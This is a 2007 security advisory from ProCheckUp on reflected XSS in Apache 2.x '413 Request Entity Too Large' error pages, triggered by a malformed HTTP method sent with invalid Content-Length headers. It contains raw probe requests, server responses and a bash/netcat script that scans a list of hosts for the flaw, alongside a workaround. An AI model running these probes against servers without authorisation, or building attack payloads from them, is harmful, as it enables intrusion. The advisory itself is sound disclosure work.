ProCheckUp Security Advisory 2007.37

2007-12-0200:00:00
Adrian Pastor
packetstormsecurity.com
0.971 High
EPSS
Percentile
99.7%
JSON
`PR07-37: XSS on Apache HTTP Server 413 error pages via malformed HTTP method  
  
  
Vulnerability found: 7 November 2007  
  
Vendor contacted: 14 November 2007  
  
Risk factor: N/A   
  
The reason why we didn't consider this vulnerability a security risk is because the attacker needs to force the victim's browser to submit a malformed HTTP method.   
  
Header injection has been demonstrated to be possible using Flash [1] [2], but might be dependent on vulnerable Flash plugins.  
  
A relevant example published in the past is exploiting the Apache 'Expect' XSS [3] (CVE-2006-3918) using flash [4].  
  
However, in this case we need to spoof the HTTP METHOD to a specially-crafted value.  
  
  
Description:   
  
It is possible to cause Apache HTTP server to return client-supplied scripting code by submitting a malformed HTTP method which would actually carry the payload (i.e.: malicious JavaScript) and invalid length data in the form of either of the following:  
  
Two 'Content-length:' headers equals to zero. i.e.: "Content-Length: 0[LF]Content-Length: 0"  
One 'Content-length:' header equals to two values. i.e.: "Content-length: 0, 0"  
One 'Content-length:' header equals to a negative value. i.e.: "Content-length: -1"  
One 'Content-length:' header equals to a large value. i.e.: "Content-length: 9999999999999999999999999999999999999999999999"  
  
  
Apache 2.X returns a '413 Request Entity Too Large' error, when submitting invalid length data. When probing for XSS on the error page returned by the server we have 3 possible string vectors:  
  
The 'Host:' header  
The URL  
The HTTP method  
  
If we probe for XSS using the 'Host:' header, Apache correctly filters the angle brackets and replaces them with HTML entities:  
  
REQUEST:  
  
GET / HTTP/1.1  
Host: <BADCHARS>  
Connection: close  
Content-length: -1  
[LF]  
[LF]  
  
  
SERVER'S REPONSE:  
  
HTTP/1.1 413 Request Entity Too Large  
Date: Fri, 30 Nov 2007 12:40:19 GMT  
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6  
Connection: close  
Content-Type: text/html; charset=iso-8859-1  
  
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">  
<html><head>  
<title>413 Request Entity Too Large</title>  
</head><body>  
<h1>Request Entity Too Large</h1>  
The requested resource<br />/<br />  
does not allow request data with GET requests, or the amount of data provided in  
the request exceeds the capacity limit.  
<hr>  
<address>Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at <badchars> Port 80</address>  
</body></html>  
  
  
Notice that '<BADCHARS>' gets replaced with '<badchars>'  
  
If we probe for XSS using the URL, Apache ALSO correctly filters the angle brackets and replaces them with HTML entities:  
  
REQUEST:  
  
GET /<BADCHARS>/ HTTP/1.1  
Host: target-domain.foo  
Connection: close  
Content-length: -1  
[LF]  
[LF]  
  
  
SERVER'S RESPONSE:  
  
HTTP/1.1 413 Request Entity Too Large  
Date: Fri, 30 Nov 2007 12:41:17 GMT  
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6  
Connection: close  
Content-Type: text/html; charset=iso-8859-1  
  
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">  
<html><head>  
<title>413 Request Entity Too Large</title>  
</head><body>  
<h1>Request Entity Too Large</h1>  
The requested resource<br />/<BADCHARS>/<br />  
does not allow request data with GET requests, or the amount of data provided in  
the request exceeds the capacity limit.  
<hr>  
<address>Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at target-domain.foo Port 80</address>  
</body></html>  
  
  
Again, '<BADCHARS>' gets replaced with '<badchars>'  
  
  
However, if we probe for XSS using a malformed HTTP method, the angle brackets are NOT replaced with HTML entities:  
  
  
REQUEST:  
  
<BADCHARS> / HTTP/1.1  
Host: target-domain.foo  
Connection: close  
Content-length: -1  
[LF]  
[LF]  
  
  
SERVER'S RESPONSE:  
  
HTTP/1.1 413 Request Entity Too Large  
Date: Fri, 30 Nov 2007 12:42:46 GMT  
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6  
Connection: close  
Content-Type: text/html; charset=iso-8859-1  
  
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">  
<html><head>  
<title>413 Request Entity Too Large</title>  
</head><body>  
<h1>Request Entity Too Large</h1>  
The requested resource<br />/<br />  
does not allow request data with <BADCHARS> requests, or the amount of data provided in  
the request exceeds the capacity limit.  
<hr>  
<address>Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at target-domain.foo Port 80</address>  
</body></html>  
  
  
  
The following script could be used to audit your network for vulnerable web servers:  
  
#!/bin/bash  
# PR07-37-scan  
if [ $# -ne 1 ]  
then  
echo "$0 <hosts-file>"  
exit  
fi  
  
for i in `cat $1`  
do  
  
if echo -en "<PROCHECKUP> / HTTP/1.1\nHost: $i\nConnection: close\nContent-length: 0\nContent-length: 0\n\n" | nc -w 4 $i 80 | grep -i '<PROCHECKUP>' > /dev/null  
then  
echo "$i is VULNERABLE!"  
fi  
  
done  
  
  
Vulnerability successfully tested on (banners extracted from server headers):  
  
Server: Apache/2.0.46 (Red Hat)  
Server: Apache/2.0.51 (Fedora)  
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6  
Server: Apache/2.0.59 (Unix) mod_ssl/2.0.59 OpenSSL/0.9.7g  
Server: Apache/2.2.3 (FreeBSD) mod_ssl/2.2.3 OpenSSL/0.9.7e-p1 DAV/2  
Server: Apache/2.2.4 (Linux/SUSE)  
  
  
Note: other versions might also be vulnerable.  
  
  
Consequences:   
  
This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e. session IDs) to unauthorised third parties provided that a web browser is tricked to submit a malformed HTTP method.  
  
  
Workaround:  
  
Disable Apache's default 413 error pages by adding 'ErrorDocument 413' statement to the Apache config file.  
  
  
References:  
  
http://www.procheckup.com/Vulnerability_2007.php  
  
[1] "Forging HTTP request headers with Flash"  
http://archives.neohapsis.com/archives/bugtraq/2006-07/0425.html  
  
[2] "HTTP Header Injection Vulnerabilities in the Flash Player Plugin"  
http://download2.rapid7.com/r7-0026/  
  
[3] "Unfiltered Header Injection in Apache 1.3.34/2.0.57/2.2.1"  
http://www.securityfocus.com/archive/1/433280  
  
[4] "More Expect Exploitation In Flash"  
http://ha.ckers.org/blog/20071103/more-expect-exploitation-in-flash/  
  
  
Credits: Adrian Pastor and Amir Azam of ProCheckUp Ltd (www.procheckup.com).  
  
Special thanks go to Amit Klein and Joe Orton for providing such valuable feedback.  
`